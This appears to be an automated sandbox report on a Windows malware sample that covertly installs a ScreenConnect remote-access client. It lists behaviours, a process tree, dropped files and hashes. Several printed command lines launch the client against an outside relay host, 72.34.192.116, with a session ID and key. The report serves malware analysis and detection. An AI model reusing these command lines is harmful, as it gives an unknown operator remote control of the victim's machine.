Resubmissions

26/10/2026, 23:11

261026-26bxjahs3s7

26/10/2026, 22:24

261026-2bd4eagz2v10

Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 22:24

General

  • Target
    2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe
  • Size 2.9MB
  • Sample261026-2bd4eagz2v
  • SHA256 bb59e8a51d9a1d3a5a203ad498bf95e3aaec90a4abd0b6b6c45895f917200dae
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 32 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 8 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2500
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4624
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3216
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 30EB80E62976809D6B4FEA681130169A C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9783.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240752640 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2848
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1896
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9BBA7D15D19237E2CD10092AF620B59A
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2904
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 389E496476CF215C64D6CC9C51DAF642 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5232
      • C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe" "Rerun" "?y=Guest&h=72.34.192.116&p=443&s=5fc9f411-117c-4572-9cfa-ffe2193b5592&k=BgIAAACkAABSU0ExAAgAAAEAAQCh1LMiuZHCWnoEx3zyp3Q%2byMRNKMy%2fMpzE9hLaq%2blSh8q7Cw94%2bmDA8WwI9IKcrDN%2fr%2fdqU4Ags59GS6RCaPyPn936rAfCOTI9CXP064yOvcf9fQavPetNfif5r3GNznXF5F6XRQCupJxyWz%2fMsOsZQJfJgNsBDFv0HM%2bMG5eYVtahSY92VO2%2b9MSOp6qjtsU%2fHq2iKY8hD97qUnPeEpCfSiEkTldk8SlSxJteanmDl5EisI8yju0UfbKiQIijr%2b20%2f3QRo%2bQPvCX%2fecRVq2P7Ztn1a9jGMQx2DkOn2rtVaWbahETu5i0Dld0CV5F%2b3xPKO2k8MhYZiZZROEa5BHCa&r=&i=6168p"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3884
        • C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe" "?y=Guest&h=72.34.192.116&p=443&s=5fc9f411-117c-4572-9cfa-ffe2193b5592&k=BgIAAACkAABSU0ExAAgAAAEAAQCh1LMiuZHCWnoEx3zyp3Q%2byMRNKMy%2fMpzE9hLaq%2blSh8q7Cw94%2bmDA8WwI9IKcrDN%2fr%2fdqU4Ags59GS6RCaPyPn936rAfCOTI9CXP064yOvcf9fQavPetNfif5r3GNznXF5F6XRQCupJxyWz%2fMsOsZQJfJgNsBDFv0HM%2bMG5eYVtahSY92VO2%2b9MSOp6qjtsU%2fHq2iKY8hD97qUnPeEpCfSiEkTldk8SlSxJteanmDl5EisI8yju0UfbKiQIijr%2b20%2f3QRo%2bQPvCX%2fecRVq2P7Ztn1a9jGMQx2DkOn2rtVaWbahETu5i0Dld0CV5F%2b3xPKO2k8MhYZiZZROEa5BHCa&r=&i=6168p"
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1528
          • C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe
            "C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe" "?y=Guest&h=72.34.192.116&p=443&s=5fc9f411-117c-4572-9cfa-ffe2193b5592&k=BgIAAACkAABSU0ExAAgAAAEAAQCh1LMiuZHCWnoEx3zyp3Q%2byMRNKMy%2fMpzE9hLaq%2blSh8q7Cw94%2bmDA8WwI9IKcrDN%2fr%2fdqU4Ags59GS6RCaPyPn936rAfCOTI9CXP064yOvcf9fQavPetNfif5r3GNznXF5F6XRQCupJxyWz%2fMsOsZQJfJgNsBDFv0HM%2bMG5eYVtahSY92VO2%2b9MSOp6qjtsU%2fHq2iKY8hD97qUnPeEpCfSiEkTldk8SlSxJteanmDl5EisI8yju0UfbKiQIijr%2b20%2f3QRo%2bQPvCX%2fecRVq2P7Ztn1a9jGMQx2DkOn2rtVaWbahETu5i0Dld0CV5F%2b3xPKO2k8MhYZiZZROEa5BHCa&r=&i=6168p" "1"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:4280
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2024
    • C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe" "?y=Guest&h=72.34.192.116&p=443&s=5fc9f411-117c-4572-9cfa-ffe2193b5592&k=BgIAAACkAABSU0ExAAgAAAEAAQCh1LMiuZHCWnoEx3zyp3Q%2byMRNKMy%2fMpzE9hLaq%2blSh8q7Cw94%2bmDA8WwI9IKcrDN%2fr%2fdqU4Ags59GS6RCaPyPn936rAfCOTI9CXP064yOvcf9fQavPetNfif5r3GNznXF5F6XRQCupJxyWz%2fMsOsZQJfJgNsBDFv0HM%2bMG5eYVtahSY92VO2%2b9MSOp6qjtsU%2fHq2iKY8hD97qUnPeEpCfSiEkTldk8SlSxJteanmDl5EisI8yju0UfbKiQIijr%2b20%2f3QRo%2bQPvCX%2fecRVq2P7Ztn1a9jGMQx2DkOn2rtVaWbahETu5i0Dld0CV5F%2b3xPKO2k8MhYZiZZROEa5BHCa&r=&i=6168p" "1"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe" "RunRole" "9538cb74-f368-4ff1-b0ce-602206360931" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3056

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59dbb1.rbs

          • Path C:\Config.Msi\e59dbb1.rbs
          • Size 9KB
          • SHA256 9a9aa5f1ae82e9db03733569450f8686660b0bbccb6ec646fa64d18b7f19ad23
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.Override.en-US.resources
          • Size 662B
          • SHA256 40fe06a010ac691ce7d002e49c34e42e0c835af4817e8d62a7993d9af0eb906d
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.Override.resources
          • Size 20KB
          • SHA256 b511fb56c085bbc6df2a2015719b76c036cc28276bdc23047f4b2ce14dab1449
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.en-US.resources
          • Size 30KB
          • SHA256 263ef61c10e08a4e28840f3a8e4878b99cc4ff6ca01db031bffc5348159b4746
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.resources
          • Size 4KB
          • SHA256 6e5a9facb9f91eb70320e4400c40a2911c4500170e05a5c02c544edaf9b7464f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.Client.dll
          • Size 95KB
          • SHA256 3592da7d94bbf59483f4be44b796a0da4c2a334b69f243bd50de588b21331274
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.dll
          • Size 27KB
          • SHA256 c845fe7d6dc1bc7747ea2bf68c5a5772c2f619fdababa3b4079ddc0b52bb27fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe
          • Size 88KB
          • SHA256 d9f68eb32f3eaecb82c5790917da5842e8db2cb64afdb2b124b4cf76ecec1d29
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.Windows.dll
          • Size 1.1MB
          • SHA256 d207418d1005ae62e096cf1678b4cc18308ca92053ee950c1737b10ad1d14fb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe
          • Size 408KB
          • SHA256 c456e46401f53cd00859bb7360d2f53e7a20c817434b38870b8c44da1d05640f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe.config
          • Size 259B
          • SHA256 f3c7ed5a1114cbfa6e3e996f4b0311edb5e25dc2099fd7eb7a3a456c261a2d94
          • MD5 SHA1 SHA512 TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\app.config
          • Size 682B
          • SHA256 d55b1bbde76bbf5a80fa87b0bea00422b383f2a7678afc5cc680e16b9d2db739
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\ProgramData\ScreenConnect Client (1ea8a1a72b1d7ccc)\user.config
          • Size 513B
          • SHA256 d593b6fd326276c1e28d99278eba7514e0c3bb8c1d1678ef6e26dcca0fe864d8
          • MD5 SHA1 SHA512 TLSH

          MSI9783.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9783.tmp
          • Size 306KB
          • SHA256 e5cd1a2bc2ef90426fc8b24824ac4b1f77e90468493aea244b9ffa865ac22cbf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9783.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 176KB
          • SHA256 fa74ae4d5e62a1cc7cfeaa55d84fe9bddab06651b6744fb4469074e79317da99
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9783.tmp-\ScreenConnect.Core.dll
          • Size 269KB
          • SHA256 77d4e0732620be7524a56466cc843fa0ee1be90f8bcc84a6803e9d1b56cd2f9a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9783.tmp-\ScreenConnect.InstallerActions.dll
          • Size 17KB
          • SHA256 eb35ea7eb4dbc66d50aad48a6922bed1a099a87880a6ba8b5a109f6459fd9685
          • MD5 SHA1 SHA512 SSDEEP TLSH

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\setup.msi
          • Size 1.4MB
          • SHA256 79b0ac87c24e6575294baf98e89c06a1824aff3e7525bb875cc962a143124cea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIE026.tmp

          • Path C:\Windows\Installer\MSIE026.tmp
          • Size 152KB
          • SHA256 3585ccf92c60150cf863e26c0eb2948e206841ca8ff91dac092cf567eef0880b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 37a2100f5f1a58c1473456214dd5d63fd7ee705f2e715e2c57ad2e35ce3caa21
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {962fca69-c9ca-4e68-9162-a5e03f85b009}_OnDiskSnapshotProp

          • Path \??\Volume{e42a0d43-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{962fca69-c9ca-4e68-9162-a5e03f85b009}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 49ed0a155b3669347536072d3b6cd494f5df5e57b6205e64d77c0a2f5f00a558
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2500-7-0x0000000005080000-0x00000000051A0000-memory.dmp

          memory/2500-4-0x0000000004DE0000-0x0000000004E2A000-memory.dmp

          memory/2500-6-0x0000000074640000-0x0000000074DFC000-memory.dmp

          memory/2500-0-0x0000000074652000-0x0000000074653000-memory.dmp

          memory/2500-9-0x0000000074640000-0x0000000074DFC000-memory.dmp

          memory/2500-1-0x0000000002830000-0x0000000002838000-memory.dmp

          memory/2500-2-0x0000000004F20000-0x0000000005076000-memory.dmp

          memory/2500-5-0x0000000074640000-0x0000000074DFC000-memory.dmp

          memory/2500-8-0x0000000074640000-0x0000000074DFC000-memory.dmp

          memory/2500-3-0x0000000002A00000-0x0000000002A18000-memory.dmp

          memory/2500-12-0x0000000074640000-0x0000000074DFC000-memory.dmp

          memory/2848-35-0x0000000003FC0000-0x000000000400A000-memory.dmp

          memory/2848-27-0x0000000003F00000-0x0000000003F30000-memory.dmp

          memory/2848-31-0x0000000003F40000-0x0000000003F4A000-memory.dmp

          memory/2848-36-0x0000000006710000-0x0000000006CCA000-memory.dmp

          memory/3056-140-0x0000000002530000-0x000000000253E000-memory.dmp

          memory/3884-91-0x000000001B7A0000-0x000000001B8C0000-memory.dmp

          memory/3884-92-0x000000001BA50000-0x000000001BBD8000-memory.dmp

          memory/3884-87-0x0000000002730000-0x000000000274E000-memory.dmp

          memory/3884-89-0x00000000027D0000-0x000000000281A000-memory.dmp

          memory/3884-85-0x00000000006B0000-0x000000000071A000-memory.dmp

          memory/4280-109-0x0000000003390000-0x000000000339E000-memory.dmp

          memory/4280-116-0x0000000005AA0000-0x0000000005BC0000-memory.dmp

          memory/4340-126-0x0000000004900000-0x0000000004992000-memory.dmp

          memory/4340-132-0x0000000004A90000-0x0000000004AFA000-memory.dmp

          memory/4340-133-0x0000000004CD0000-0x0000000004E58000-memory.dmp

          memory/4340-135-0x0000000005480000-0x00000000054D0000-memory.dmp

          memory/4340-129-0x0000000004710000-0x000000000472E000-memory.dmp